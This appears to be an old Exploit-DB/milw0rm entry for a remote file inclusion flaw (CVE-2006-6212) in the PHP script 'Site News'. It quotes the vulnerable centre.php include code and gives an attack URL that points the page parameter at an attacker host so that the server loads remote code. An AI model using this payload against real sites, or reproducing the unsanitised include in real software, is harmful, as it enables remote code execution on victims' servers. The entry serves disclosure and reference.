Exploit Site News - 'centre.php' Remote File Inclusion

[Exploiter]

EDB-ID

2833

Проверка EDB

1. Пройдено

Автор

DADISS

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2006-6212

Дата публикации

2006-11-23

#===================================================================================#
#
# Site News => (centre.php) $page Remote File Inclusion Exploit
#
#===================================================================================#
#
# Softname : Site News
# Url : http://dvmet.free.fr/script/site_news.zip
# Exploit type : Remote File Inclusion.
# Critical: Dangerous.
# Solution Status: Unpatched.
#
#===================================================================================#
#
# By DaDIsS - Member of the Moroccan Hackers Team
#
#===================================================================================#
#
# Exploit Explanation : 
#
#
# The flaw resides in centre.php file that contain this code :
# 
# <?
#
#   if (empty($page))
#    {
#         include("accueil.php");
#    }
#      else
#    {
#        include($page.".php");
#    }
#
# ?>
#
#===================================================================================#
#
# Example : 
#
#
# http://www.victime.com/(path)/centre.php?page=http://attacker
#
#
#================================================================#
#
# Greetz : YouYouCool, Hacker1, and all Moroccan Hackers Team, viva Morocco guyz !!
#
#===================================================================================#
#
# DaDIsS / [email protected]
# Proud to be a Moroccan !
#
#===================================================================================#

# milw0rm.com [2006-11-23]